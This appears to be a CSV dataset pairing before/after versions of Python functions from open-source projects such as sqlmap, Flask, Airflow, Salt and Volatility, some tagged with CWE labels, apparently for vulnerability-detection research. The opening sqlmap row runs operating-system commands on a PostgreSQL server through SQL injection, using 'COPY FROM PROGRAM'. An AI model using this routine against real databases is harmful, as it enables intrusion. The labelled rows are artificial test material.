            # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
            self._forgedCmd = ""DROP TABLE IF EXISTS %s;"" % self.cmdTblName
            self._forgedCmd += ""CREATE TABLE %s(%s text);"" % (self.cmdTblName, self.tblField)
            self._forgedCmd += ""COPY %s FROM PROGRAM '%s';"" % (self.cmdTblName, cmd.replace(""'"", ""''""))
            inject.goStacked(self._forgedCmd)

            query = ""SELECT %s FROM %s"" % (self.tblField, self.cmdTblName)
            output = inject.getValue(query, resumeValue=False)

            if isListLike(output):
                output = flattenValue(output)
                output = filterNone(output)

                if not isNoneValue(output):
                    output = os.linesep.join(output)

            self._cleanupCmd = ""DROP TABLE %s"" % self.cmdTblName
            inject.goStacked(self._cleanupCmd)

        return output",,sqlmapproject/sqlmap,582bb2fec960db825478a54c0aabbd7ba551f1b8,"def copyExecCmd(self, cmd):
        output = None

        if isStackingAvailable():
            # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
            self._forgedCmd = ""DROP TABLE IF EXISTS %s;"" % self.cmdTblName
            self._forgedCmd += ""CREATE TABLE %s(%s text);"" % (self.cmdTblName, self.tblField)
            self._forgedCmd += ""COPY %s FROM PROGRAM '%s';"" % (self.cmdTblName, cmd.replace(""'"", ""''""))
            inject.goStacked(self._forgedCmd)

            query = ""SELECT %s FROM %s"" % (self.tblField, self.cmdTblName)
            output = inject.getValue(query, resumeValue=False)

            if isListLike(output):
                output = flattenValue(output)
                output = filterNone(output)

            if not isNoneValue(output):
                output = os.linesep.join(output)

            self._cleanupCmd = ""DROP TABLE %s"" % self.cmdTblName
            inject.goStacked(self._cleanupCmd)

        return output"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/ctx.py,0,"def push(self) -> None:
        """"""Binds the request context to the current context.""""""
        # If an exception occurs in debug mode or if context preservation is
        # activated under exception situations exactly one context stays
        # on the stack.  The rationale is that you want to access that
        # information under debug situations.  However if someone forgets to
        # pop that context again we want to make sure that on the next push
        # it's invalidated, otherwise we run at risk that something leaks
        # memory.  This is usually only a problem in test suite since this
        # functionality is not active in production environments.
        top = _request_ctx_stack.top
        if top is not None and top.preserved:
            top.pop(top._preserved_exc)

        # Before we push the request context we have to ensure that there
        # is an application context.
        app_ctx = _app_ctx_stack.top
        if app_ctx is None or app_ctx.app != self.app:
            app_ctx = self.app.app_context()
            app_ctx.push()
            self._implicit_app_ctx_stack.append(app_ctx)
        else:
            self._implicit_app_ctx_stack.append(None)

        _request_ctx_stack.push(self)

        # Open the session at the moment that the request context is available.
        # This allows a custom open_session method to use the request context.
        # Only open a new session if this is the first time the request was
        # pushed, otherwise stream_with_context loses the session.
        if self.session is None:
            session_interface = self.app.session_interface
            self.session = session_interface.open_session(self.app, self.request)

            if self.session is None:
                self.session = session_interface.make_null_session(self.app)

        # Match the request URL after loading the session, so that the
        # session is available in custom URL converters.
        if self.url_adapter is not None:
            self.match_request()",,pallets/flask,6e0fb117171ff3e57cf536952991f9ce01d130a5,"def push(self) -> None:
        """"""Binds the request context to the current context.""""""
        # If an exception occurs in debug mode or if context preservation is
        # activated under exception situations exactly one context stays
        # on the stack.  The rationale is that you want to access that
        # information under debug situations.  However if someone forgets to
        # pop that context again we want to make sure that on the next push
        # it's invalidated, otherwise we run at risk that something leaks
        # memory.  This is usually only a problem in test suite since this
        # functionality is not active in production environments.
        top = _request_ctx_stack.top
        if top is not None and top.preserved:
            top.pop(top._preserved_exc)

        # Before we push the request context we have to ensure that there
        # is an application context.
        app_ctx = _app_ctx_stack.top
        if app_ctx is None or app_ctx.app != self.app:
            app_ctx = self.app.app_context()
            app_ctx.push()
            self._implicit_app_ctx_stack.append(app_ctx)
        else:
            self._implicit_app_ctx_stack.append(None)

        _request_ctx_stack.push(self)

        if self.url_adapter is not None:
            self.match_request()

        # Open the session at the moment that the request context is available.
        # This allows a custom open_session method to use the request context.
        # Only open a new session if this is the first time the request was
        # pushed, otherwise stream_with_context loses the session.
        if self.session is None:
            session_interface = self.app.session_interface
            self.session = session_interface.open_session(self.app, self.request)

            if self.session is None:
                self.session = session_interface.make_null_session(self.app)"
,UNKNOWN,UNKNOWN,tests/autologging/test_autologging_utils.py,1,"def test_dev_version_pyspark_is_supported_in_databricks(flavor, module_version, expected_result):
    module_name, _ = FLAVOR_TO_MODULE_NAME_AND_VERSION_INFO_KEY[flavor]
    with mock.patch(module_name + "".__version__"", module_version):
        # In Databricks
        with mock.patch(
            ""mlflow.utils.autologging_utils.versioning.is_in_databricks_runtime"", return_value=True,
        ) as mock_runtime:
            assert is_flavor_supported_for_associated_package_versions(flavor) == expected_result
            mock_runtime.assert_called()

        # Not in Databricks
        assert is_flavor_supported_for_associated_package_versions(flavor) is False",CWE-703,mlflow/mlflow,92561c03d281d0dfbf77910c1579e1e6d9028b4c,"def test_dev_version_pyspark_is_supported_in_databricks(flavor, module_version, expected_result):
    module_name, _ = FLAVOR_TO_MODULE_NAME_AND_VERSION_INFO_KEY[flavor]
    with mock.patch(module_name + "".__version__"", module_version):
        # In Databricks
        with mock.patch(
            ""mlflow.utils.autologging_utils.versioning.is_in_databricks_notebook"",
            return_value=True,
        ) as mock_notebook:
            assert is_flavor_supported_for_associated_package_versions(flavor) == expected_result
            mock_notebook.assert_called()

        with mock.patch(
            ""mlflow.utils.autologging_utils.versioning.is_in_databricks_job"", return_value=True,
        ) as mock_job:
            assert is_flavor_supported_for_associated_package_versions(flavor) == expected_result
            mock_job.assert_called()

        # Not in Databricks
        assert is_flavor_supported_for_associated_package_versions(flavor) is False"
,UNKNOWN,UNKNOWN,tests/models/test_dag.py,1,"def test_schedule_dag_no_previous_runs(self):
        """"""
        Tests scheduling a dag with no previous runs
        """"""
        dag_id = ""test_schedule_dag_no_previous_runs""
        dag = DAG(dag_id=dag_id, schedule=None)
        dag.add_task(BaseOperator(task_id=""faketastic"", owner=""Also fake"", start_date=TEST_DATE))

        dag_run = dag.create_dagrun(
            run_id=""test"",
            run_type=DagRunType.SCHEDULED,
            logical_date=TEST_DATE,
            state=State.RUNNING,
            data_interval=(TEST_DATE, TEST_DATE),
            run_after=TEST_DATE,
            triggered_by=DagRunTriggeredByType.TEST,
        )
        assert dag_run is not None
        assert dag.dag_id == dag_run.dag_id
        assert dag_run.run_id is not None
        assert dag_run.run_id != """"
        assert (
            dag_run.logical_date == TEST_DATE
        ), f""dag_run.logical_date did not match expectation: {dag_run.logical_date}""
        assert dag_run.state == State.RUNNING
        assert dag_run.run_type != DagRunType.MANUAL
        dag.clear()
        self._clean_up(dag_id)",CWE-703,apache/airflow,811fa2b016ca613061e5d4d32fee005e53c1bf1d,"def test_schedule_dag_no_previous_runs(self):
        """"""
        Tests scheduling a dag with no previous runs
        """"""
        dag_id = ""test_schedule_dag_no_previous_runs""
        dag = DAG(dag_id=dag_id, schedule=None)
        dag.add_task(BaseOperator(task_id=""faketastic"", owner=""Also fake"", start_date=TEST_DATE))

        dag_run = dag.create_dagrun(
            run_id=""test"",
            run_type=DagRunType.SCHEDULED,
            logical_date=TEST_DATE,
            state=State.RUNNING,
            data_interval=(TEST_DATE, TEST_DATE),
            run_after=TEST_DATE,
            triggered_by=DagRunTriggeredByType.TEST,
        )
        assert dag_run is not None
        assert dag.dag_id == dag_run.dag_id
        assert dag_run.run_id is not None
        assert dag_run.run_id != """"
        assert (
            dag_run.logical_date == TEST_DATE
        ), f""dag_run.logical_date did not match expectation: {dag_run.logical_date}""
        assert dag_run.state == State.RUNNING
        assert not dag_run.external_trigger
        dag.clear()
        self._clean_up(dag_id)"
,UNKNOWN,UNKNOWN,django/contrib/formtools/wizard/views.py,1,"def get_initkwargs(cls, form_list, initial_dict=None,
            instance_dict=None, condition_dict=None, *args, **kwargs):
        """"""
        Creates a dict with all needed parameters for the form wizard instances.

        * `form_list` - is a list of forms. The list entries can be single form
          classes or tuples of (`step_name`, `form_class`). If you pass a list
          of forms, the wizardview will convert the class list to
          (`zero_based_counter`, `form_class`). This is needed to access the
          form for a specific step.
        * `initial_dict` - contains a dictionary of initial data dictionaries.
          The key should be equal to the `step_name` in the `form_list` (or
          the str of the zero based counter - if no step_names added in the
          `form_list`)
        * `instance_dict` - contains a dictionary whose values are model
          instances if the step is based on a ``ModelForm`` and querysets if
          the step is based on a ``ModelFormSet``. The key should be equal to
          the `step_name` in the `form_list`. Same rules as for `initial_dict`
          apply.
        * `condition_dict` - contains a dictionary of boolean values or
          callables. If the value of for a specific `step_name` is callable it
          will be called with the wizardview instance as the only argument.
          If the return value is true, the step's form will be used.
        """"""
        kwargs.update({
            'initial_dict': initial_dict or {},
            'instance_dict': instance_dict or {},
            'condition_dict': condition_dict or {},
        })
        init_form_list = SortedDict()

        assert len(form_list) > 0, 'at least one form is needed'

        # walk through the passed form list
        for i, form in enumerate(form_list):
            if isinstance(form, (list, tuple)):
                # if the element is a tuple, add the tuple to the new created
                # sorted dictionary.
                init_form_list[six.text_type(form[0])] = form[1]
            else:
                # if not, add the form with a zero based counter as unicode
                init_form_list[six.text_type(i)] = form

        # walk through the new created list of forms
        for form in six.itervalues(init_form_list):
            if issubclass(form, formsets.BaseFormSet):
                # if the element is based on BaseFormSet (FormSet/ModelFormSet)
                # we need to override the form variable.
                form = form.form
            # check if any form contains a FileField, if yes, we need a
            # file_storage added to the wizardview (by subclassing).
            for field in six.itervalues(form.base_fields):
                if (isinstance(field, forms.FileField) and
                        not hasattr(cls, 'file_storage')):
                    raise NoFileStorageConfigured(
                            ""You need to define 'file_storage' in your ""
                            ""wizard view in order to handle file uploads."")

        # build the kwargs for the wizardview instances
        kwargs['form_list'] = init_form_list
        return kwargs",CWE-703,django/django,c5d0f49dc285b0c200ad0d1496914f13d8e6293d,"def get_initkwargs(cls, form_list, initial_dict=None,
            instance_dict=None, condition_dict=None, *args, **kwargs):
        """"""
        Creates a dict with all needed parameters for the form wizard instances.

        * `form_list` - is a list of forms. The list entries can be single form
          classes or tuples of (`step_name`, `form_class`). If you pass a list
          of forms, the wizardview will convert the class list to
          (`zero_based_counter`, `form_class`). This is needed to access the
          form for a specific step.
        * `initial_dict` - contains a dictionary of initial data dictionaries.
          The key should be equal to the `step_name` in the `form_list` (or
          the str of the zero based counter - if no step_names added in the
          `form_list`)
        * `instance_dict` - contains a dictionary whose values are model
          instances if the step is based on a ``ModelForm`` and querysets if
          the step is based on a ``ModelFormSet``. The key should be equal to
          the `step_name` in the `form_list`. Same rules as for `initial_dict`
          apply.
        * `condition_dict` - contains a dictionary of boolean values or
          callables. If the value of for a specific `step_name` is callable it
          will be called with the wizardview instance as the only argument.
          If the return value is true, the step's form will be used.
        """"""
        kwargs.update({
            'initial_dict': initial_dict or {},
            'instance_dict': instance_dict or {},
            'condition_dict': condition_dict or {},
        })
        init_form_list = SortedDict()

        assert len(form_list) > 0, 'at least one form is needed'

        # walk through the passed form list
        for i, form in enumerate(form_list):
            if isinstance(form, (list, tuple)):
                # if the element is a tuple, add the tuple to the new created
                # sorted dictionary.
                init_form_list[six.text_type(form[0])] = form[1]
            else:
                # if not, add the form with a zero based counter as unicode
                init_form_list[six.text_type(i)] = form

        # walk through the new created list of forms
        for form in six.itervalues(init_form_list):
            if issubclass(form, formsets.BaseFormSet):
                # if the element is based on BaseFormSet (FormSet/ModelFormSet)
                # we need to override the form variable.
                form = form.form
            # check if any form contains a FileField, if yes, we need a
            # file_storage added to the wizardview (by subclassing).
            for field in six.itervalues(form.base_fields):
                if (isinstance(field, forms.FileField) and
                        not hasattr(cls, 'file_storage')):
                    raise NoFileStorageConfigured

        # build the kwargs for the wizardview instances
        kwargs['form_list'] = init_form_list
        return kwargs"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/log.py,0,"def log_request(handler):
    """"""log a bit more information about each request than tornado's default
    
    - move static file get success to debug-level (reduces noise)
    - get proxied IP instead of proxy IP
    - log referer for redirect and failed requests
    - log user-agent for failed requests
    """"""
    status = handler.get_status()
    request = handler.request
    if status < 300 or status == 304:
        # Successes (or 304 FOUND) are debug-level
        log_method = access_log.debug
    elif status < 400:
        log_method = access_log.info
    elif status < 500:
        log_method = access_log.warning
    else:
        log_method = access_log.error
    
    request_time = 1000.0 * handler.request.request_time()
    ns = dict(
        status=status,
        method=request.method,
        ip=request.remote_ip,
        uri=request.uri,
        request_time=request_time,
    )
    msg = ""{status} {method} {uri} ({ip}) {request_time:.2f}ms""
    if status >= 400:
        # log bad referers
        ns['referer'] = request.headers.get('Referer', 'None')
        msg = msg + ' referer={referer}'
    if status >= 500 and status != 502:
        # log all headers if it caused an error
        log_method(json.dumps(dict(request.headers), indent=2))
    log_method(msg.format(**ns))",,jupyter/notebook,bdb8ca88ce6b96c879fb46752cb0a4b6857ac4f8,"def log_request(handler):
    """"""log a bit more information about each request than tornado's default
    
    - move static file get success to debug-level (reduces noise)
    - get proxied IP instead of proxy IP
    - log referer for redirect and failed requests
    - log user-agent for failed requests
    """"""
    status = handler.get_status()
    request = handler.request
    if status < 300 or status == 304:
        # Successes (or 304 FOUND) are debug-level
        log_method = access_log.debug
    elif status < 400:
        log_method = access_log.info
    elif status < 500:
        log_method = access_log.warning
    else:
        log_method = access_log.error
    
    request_time = 1000.0 * handler.request.request_time()
    ns = dict(
        status=status,
        method=request.method,
        ip=request.remote_ip,
        uri=request.uri,
        request_time=request_time,
    )
    msg = ""{status} {method} {uri} ({ip}) {request_time:.2f}ms""
    if status >= 400:
        # log bad referers
        ns['referer'] = request.headers.get('Referer', 'None')
        msg = msg + ' referer={referer}'
    if status >= 500 and status != 502:
        # log all headers if it caused an error
        log_method(json.dumps(request.headers, indent=2))
    log_method(msg.format(**ns))"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/fabfile.py,0,,,jupyter/notebook,ef19b962b525f6a2ea77517cc35e6fb6a9acac24,"def _compile_less(source, target, minify=True, verbose=False):
    """"""Compile a less file by source and target relative to static_dir""""""
    minify = _to_bool(minify)
    verbose = _to_bool(verbose)
    min_flag = '-x' if minify is True else ''
    ver_flag = '--verbose' if verbose is True else ''
    
    # pin less to 1.4
    try:
        out = check_output(['lessc', '--version'])
    except OSError as err:
        raise ValueError(""Unable to find lessc.  Please install lessc >= %s and < %s "" \
                         % (min_less_version, max_less_version))
    out = out.decode('utf8', 'replace')
    less_version = out.split()[1]
    if V(less_version) < V(min_less_version):
        raise ValueError(""lessc too old: %s < %s"" % (less_version, min_less_version))
    if V(less_version) >= V(max_less_version):
        raise ValueError(""lessc too new: %s >= %s"" % (less_version, max_less_version))
    
    with lcd(static_dir):
        local('lessc {min_flag} {ver_flag} {source} {target}'.format(**locals()))"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/upgrade/checker.py,0,"def register_arguments(subparser):
    subparser.add_argument(
        ""-s"", ""--save"",
        help=""Saves the result to the indicated file. The file format is determined by the file extension.""
    )
    subparser.add_argument(
        ""-i"", ""--ignore"",
        help=""Ignore a rule. Can be used multiple times."",
        action=""append"",
    )
    subparser.add_argument(
        ""-c"", ""--config"",
        help=""Path to upgrade check config yaml file."",
    )
    subparser.add_argument(
        ""-l"", ""--list"",
        help=""List the upgrade checks and their class names"",
        action=""store_true"",
    )
    subparser.set_defaults(func=run)",CWE-Unknown,apache/airflow,e76c7433c9a32c752ab9ed94f0dfe5cec5031758,"def register_arguments(subparser):
    subparser.add_argument(
        ""-s"", ""--save"",
        help=""Saves the result to the indicated file. The file format is determined by the file extension.""
    )
    subparser.add_argument(
        ""-i"", ""--ignore"",
        help=""Ignore a rule. Can be used multiple times."",
        action=""append"",
    )
    subparser.add_argument(
        ""-c"", ""--config"",
        help=""Path to upgrade check config yaml file."",
    )
    subparser.add_argument(
        ""-l"", ""--list"",
        help=""List the upgrade checks and their class names"",
        action=""store_true"",
    )"
,UNKNOWN,UNKNOWN,tests/www/test_views.py,1,"def test_import_variables_failed(self):
        content = '{""str_key"": ""str_value""}'

        with mock.patch('airflow.models.Variable.set') as set_mock:
            set_mock.side_effect = UnicodeEncodeError
            assert self.session.query(models.Variable).count() == 0

            bytes_content = io.BytesIO(bytes(content, encoding='utf-8'))

            resp = self.client.post(
                '/variable/varimport', data={'file': (bytes_content, 'test.json')}, follow_redirects=True
            )
            self.check_content_in_response('1 variable(s) failed to be updated.', resp)",CWE-703,apache/airflow,6f8ab9e6da9b7ccd898e91f0bdf5311c7f1b8336,"def test_import_variables_failed(self):
        content = '{""str_key"": ""str_value""}'

        with mock.patch('airflow.models.Variable.set') as set_mock:
            set_mock.side_effect = UnicodeEncodeError
            assert self.session.query(models.Variable).count() == 0

            try:
                # python 3+
                bytes_content = io.BytesIO(bytes(content, encoding='utf-8'))
            except TypeError:
                # python 2.7
                bytes_content = io.BytesIO(bytes(content))

            resp = self.client.post(
                '/variable/varimport', data={'file': (bytes_content, 'test.json')}, follow_redirects=True
            )
            self.check_content_in_response('1 variable(s) failed to be updated.', resp)"
,UNKNOWN,UNKNOWN,tests/executors/test_base_executor.py,1,"def test_running_retry_attempt_type(loop_duration, total_tries):
    """"""
    Verify can_try_again returns True until at least 5 seconds have passed.

    For faster loops, we total tries will be higher.  If loops take longer than 5 seconds, still should
    end up trying 2 times.
    """"""
    min_seconds_for_test = 5

    with time_machine.travel(pendulum.now(""UTC""), tick=False) as t:
        # set MIN_SECONDS so tests don't break if the value is changed
        RunningRetryAttemptType.MIN_SECONDS = min_seconds_for_test
        a = RunningRetryAttemptType()
        while True:
            if not a.can_try_again():
                break
            t.shift(loop_duration)
        assert a.elapsed > min_seconds_for_test
    assert a.total_tries == total_tries
    assert a.tries_after_min == 1",CWE-703,apache/airflow,6f2277c83a4a9ee8614cf31a348e8d10045de426,"def test_running_retry_attempt_type(loop_duration, total_tries):
    """"""
    Verify can_try_again returns True until at least 5 seconds have passed.

    For faster loops, we total tries will be higher.  If loops take longer than 5 seconds, still should
    end up trying 2 times.
    """"""
    min_seconds_for_test = 5

    with time_machine.travel(pendulum.now(""UTC""), tick=False) as t:

        # set MIN_SECONDS so tests don't break if the value is changed
        RunningRetryAttemptType.MIN_SECONDS = min_seconds_for_test
        a = RunningRetryAttemptType()
        while True:
            if not a.can_try_again():
                break
            t.shift(loop_duration)
        assert a.elapsed > min_seconds_for_test
    assert a.total_tries == total_tries
    assert a.tries_after_min == 1"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/node_visitor.py,0,"def __init__(self, fname, logger, config, metaast, results, testset,
                 debug):
        self.debug = debug
        self.seen = 0
        self.score = [0] * len(constants.SEVERITY)
        self.fname = fname
        self.logger = logger
        self.config = config
        self.metaast = metaast
        self.results = results
        self.testset = testset
        self.imports = set()
        self.context_template['imports'] = self.imports
        self.import_aliases = {}
        self.context_template['import_aliases'] = self.import_aliases
        self.tester = b_tester.BanditTester(
            self.logger, self.config, self.results, self.testset, self.debug
        )

        # in some cases we can't determine a qualified name
        try:
            self.namespace = b_utils.get_module_qualname_from_path(fname)
        except InvalidModulePath:
            self.logger.info('Unable to find qualified name for module: {}'
                             .format(self.fname))
            self.namespace = """"
        self.logger.debug('Module qualified name: {}'.format(self.namespace))
        self.stmt_buffer = StatementBuffer()
        self.statement = {}",UNKNOWN,PyCQA/bandit,1214076c48cf3f60edb8bb0664e4406df19fb4fc,"def __init__(self, fname, logger, config, metaast, results, testset,
                 debug):
        self.debug = debug
        self.seen = 0
        self.score = 0
        self.fname = fname
        self.logger = logger
        self.config = config
        self.metaast = metaast
        self.results = results
        self.testset = testset
        self.imports = set()
        self.context_template['imports'] = self.imports
        self.import_aliases = {}
        self.context_template['import_aliases'] = self.import_aliases
        self.tester = b_tester.BanditTester(
            self.logger, self.config, self.results, self.testset, self.debug
        )

        # in some cases we can't determine a qualified name
        try:
            self.namespace = b_utils.get_module_qualname_from_path(fname)
        except InvalidModulePath:
            self.logger.info('Unable to find qualified name for module: {}'
                             .format(self.fname))
            self.namespace = """"
        self.logger.debug('Module qualified name: {}'.format(self.namespace))
        self.stmt_buffer = StatementBuffer()
        self.statement = {}"
,UNKNOWN,UNKNOWN,salt/utils/templates.py,1,"def render_tmpl(tmplsrc,
                    from_str=False,
                    to_str=False,
                    context=None,
                    tmplpath=None,
                    **kws):

        if context is None:
            context = {}

        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'saltenv' in context

        if isinstance(tmplsrc, string_types):
            if from_str:
                tmplstr = tmplsrc
            else:
                try:
                    if tmplpath is not None:
                        tmplsrc = os.path.join(tmplpath, tmplsrc)
                    with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
                        tmplstr = _tmplsrc.read()
                except (UnicodeDecodeError,
                        ValueError,
                        OSError,
                        IOError) as exc:
                    if salt.utils.is_bin_file(tmplsrc):
                        # Template is a bin file, return the raw file
                        return dict(result=True, data=tmplsrc)
                    log.error(
                        'Exception occurred while reading file '
                        '{0}: {1}'.format(tmplsrc, exc),
                        # Show full traceback if debug logging is enabled
                        exc_info_on_loglevel=logging.DEBUG
                    )
                    raise exc
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
            if salt.utils.is_windows():
                # Write out with Windows newlines
                output = os.linesep.join(output.splitlines())

        except SaltRenderError as exc:
            #return dict(result=False, data=str(exc))
            raise
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False) as outf:
                outf.write(SLS_ENCODER(output)[0])
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)",CWE-703,saltstack/salt,daa924ebb7266fbc5cc778d4a6b887605204a7ab,"def render_tmpl(tmplsrc,
                    from_str=False,
                    to_str=False,
                    context=None,
                    tmplpath=None,
                    **kws):

        if context is None:
            context = {}

        # We want explicit context to overwrite the **kws
        kws.update(context)
        context = kws
        assert 'opts' in context
        assert 'saltenv' in context

        if isinstance(tmplsrc, string_types):
            if from_str:
                tmplstr = tmplsrc
            else:
                try:
                    if tmplpath is not None:
                        tmplsrc = os.path.join(tmplpath, tmplsrc)
                    with codecs.open(tmplsrc, 'r', SLS_ENCODING) as _tmplsrc:
                        tmplstr = _tmplsrc.read()
                except (UnicodeDecodeError,
                        ValueError,
                        OSError,
                        IOError) as exc:
                    if salt.utils.is_bin_file(tmplsrc):
                        # Template is a bin file, return the raw file
                        return dict(result=True, data=tmplsrc)
                    log.error(
                        'Exception occurred while reading file '
                        '{0}: {1}'.format(tmplsrc, exc),
                        # Show full traceback if debug logging is enabled
                        exc_info=log.isEnabledFor(logging.DEBUG)
                    )
                    raise exc
        else:  # assume tmplsrc is file-like.
            tmplstr = tmplsrc.read()
            tmplsrc.close()
        try:
            output = render_str(tmplstr, context, tmplpath)
            if salt.utils.is_windows():
                # Write out with Windows newlines
                output = os.linesep.join(output.splitlines())

        except SaltRenderError as exc:
            #return dict(result=False, data=str(exc))
            raise
        except Exception:
            return dict(result=False, data=traceback.format_exc())
        else:
            if to_str:  # then render as string
                return dict(result=True, data=output)
            with tempfile.NamedTemporaryFile('wb', delete=False) as outf:
                outf.write(SLS_ENCODER(output)[0])
                # Note: If nothing is replaced or added by the rendering
                #       function, then the contents of the output file will
                #       be exactly the same as the input.
            return dict(result=True, data=outf.name)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/evtlogs.py,0,"def parse_evt_info(self, name, buf, rawtime = False):
        
        loc = buf.find(""LfLe"")
        
        ## Skip the EVTLogHeader at offset 4. Here you can also parse
        ## and print the header values if you like. 
        if loc == 4:
            loc = buf.find(""LfLe"", loc + 1)
        
        while loc != -1:
            
            ## This record's data (and potentially the data for records
            ## that follow it, so we'll be careful to chop it in the right
            ## places before future uses). 
            rec = buf[loc - 4:]
            
            ## Use a buffer AS to instantiate the object 
            bufferas = addrspace.BufferAddressSpace(self._config, data = rec)
            evtlog = obj.Object(""EVTRecordStruct"", offset = 0, vm = bufferas)
            rec_size = bufferas.profile.get_obj_size(""EVTRecordStruct"")
            
            ## Calculate the SID string. If the SidLength is zero, the next
            ## field (list of strings) starts at StringOffset. If the SidLength
            ## is non-zero, use the data of length SidLength to determine the
            ## SID string and the next field starts at SidOffet.
            if evtlog.SidLength == 0:
                end = evtlog.StringOffset
                sid_string = ""N/A""
            else:
                ## detect manged records based on invalid SID length
                if evtlog.SidLength > 68:
                    loc = buf.find(""LfLe"", loc + 1)
                    continue
                ## these should be appropriately sized SIDs
                end = evtlog.SidOffset
                sid_string = self.get_sid_string(rec[end:end + evtlog.SidLength])

            computer_name = """"
            source = """"

            items = rec[rec_size:end].split(""\x00\x00"") 
            source = self.remove_unprintable(items[0])
            if len(items) > 1:
                computer_name = self.remove_unprintable(items[1])

            strings = rec[evtlog.StringOffset:].split(""\x00\x00"", evtlog.NumStrings)
            messages = []
            for s in range(min(len(strings), evtlog.NumStrings)):
                messages.append(self.remove_unprintable(strings[s]))
                
            # We'll just say N/A if there are no messages, otherwise join them
            # together with semi-colons.
            if messages:
                msg = "";"".join(messages)
                msg = msg.replace(""|"", ""%7c"") 
            else:
                msg = ""N/A""

            # Records with an invalid timestamp are ignored entirely
            if evtlog.TimeWritten != None: 
            
                fields = [
                    str(evtlog.TimeWritten) if not rawtime else evtlog.TimeWritten,
                    ntpath.basename(name),
                    computer_name,
                    sid_string,
                    source,
                    str(evtlog.EventID),
                    str(evtlog.EventType), msg]

                yield fields
            
            ## Scan to the next record signature 
            loc = buf.find(""LfLe"", loc + 1)",,volatilityfoundation/volatility,b5d8d77fdb3731edb2bc3ec9170e375e638b4026,"def parse_evt_info(self, name, buf, rawtime = False):
        
        loc = buf.find(""LfLe"")
        
        ## Skip the EVTLogHeader at offset 4. Here you can also parse
        ## and print the header values if you like. 
        if loc == 4:
            loc = buf.find(""LfLe"", loc + 1)
        
        while loc != -1:
            
            ## This record's data (and potentially the data for records
            ## that follow it, so we'll be careful to chop it in the right
            ## places before future uses). 
            rec = buf[loc - 4:]
            
            ## Use a buffer AS to instantiate the object 
            bufferas = addrspace.BufferAddressSpace(self._config, data = rec)
            evtlog = obj.Object(""EVTRecordStruct"", offset = 0, vm = bufferas)
            rec_size = bufferas.profile.get_obj_size(""EVTRecordStruct"")
            
            ## Calculate the SID string. If the SidLength is zero, the next
            ## field (list of strings) starts at StringOffset. If the SidLength
            ## is non-zero, use the data of length SidLength to determine the
            ## SID string and the next field starts at SidOffet.
            if evtlog.SidLength == 0:
                end = evtlog.StringOffset
                sid_string = ""N/A""
            else:
                end = evtlog.SidOffset
                sid_string = self.get_sid_string(rec[end:end + evtlog.SidLength])

            computer_name = """"
            source = """"

            items = rec[rec_size:end].split(""\x00\x00"") 
            source = self.remove_unprintable(items[0])
            if len(items) > 1:
                computer_name = self.remove_unprintable(items[1])

            strings = rec[evtlog.StringOffset:].split(""\x00\x00"", evtlog.NumStrings)
            messages = []
            for s in range(min(len(strings), evtlog.NumStrings)):
                messages.append(self.remove_unprintable(strings[s]))
                
            # We'll just say N/A if there are no messages, otherwise join them
            # together with semi-colons.
            if messages:
                msg = "";"".join(messages)
                msg = msg.replace(""|"", ""%7c"") 
            else:
                msg = ""N/A""

            # Records with an invalid timestamp are ignored entirely
            if evtlog.TimeWritten != None: 
            
                fields = [
                    str(evtlog.TimeWritten) if not rawtime else evtlog.TimeWritten,
                    ntpath.basename(name),
                    computer_name,
                    sid_string,
                    source,
                    str(evtlog.EventID),
                    str(evtlog.EventType), msg]

                yield fields
            
            ## Scan to the next record signature 
            loc = buf.find(""LfLe"", loc + 1)"
,UNKNOWN,UNKNOWN,tests/tracing/processor/test_mlflow_processor.py,1,"def test_on_start_during_model_evaluation(clear_singleton):
    # Root span should create a new trace on start
    span = create_mock_otel_span(trace_id=_TRACE_ID, span_id=1)
    mock_client = mock.MagicMock()
    mock_client._start_tracked_trace.return_value = create_test_trace_info(_REQUEST_ID, 0)
    processor = MlflowSpanProcessor(span_exporter=mock.MagicMock(), client=mock_client)

    with set_prediction_context(Context(request_id=_REQUEST_ID, is_evaluate=True)):
        processor.on_start(span)

    mock_client._start_tracked_trace.assert_called_once()
    assert span.attributes.get(SpanAttributeKey.REQUEST_ID) == json.dumps(_REQUEST_ID)",CWE-703,mlflow/mlflow,693e05ab976d058405b19b3a5f092065ca1f4824,"def test_on_start_during_model_evaluation(clear_singleton):
    # Root span should create a new trace on start
    span = create_mock_otel_span(trace_id=_TRACE_ID, span_id=1)
    mock_client = mock.MagicMock()
    processor = MlflowSpanProcessor(span_exporter=mock.MagicMock(), client=mock_client)

    with set_prediction_context(Context(request_id=_REQUEST_ID, is_evaluate=True)):
        processor.on_start(span)

    mock_client._start_tracked_trace.assert_not_called()
    assert span.attributes.get(SpanAttributeKey.REQUEST_ID) == json.dumps(_REQUEST_ID)"
,UNKNOWN,UNKNOWN,salt/states/file.py,1,"def serialize(name,
              dataset=None,
              dataset_pillar=None,
              user=None,
              group=None,
              mode=None,
              backup='',
              makedirs=False,
              show_changes=True,
              create=True,
              merge_if_exists=False,
              encoding=None,
              encoding_errors='strict',
              serializer_opts=None,
              deserializer_opts=None,
              **kwargs):
    '''
    Serializes dataset and store it into managed file. Useful for sharing
    simple configuration files.

    name
        The location of the file to create

    dataset
        The dataset that will be serialized

    dataset_pillar
        Operates like ``dataset``, but draws from a value stored in pillar,
        using the pillar path syntax used in :mod:`pillar.get
        <salt.modules.pillar.get>`. This is useful when the pillar value
        contains newlines, as referencing a pillar variable using a jinja/mako
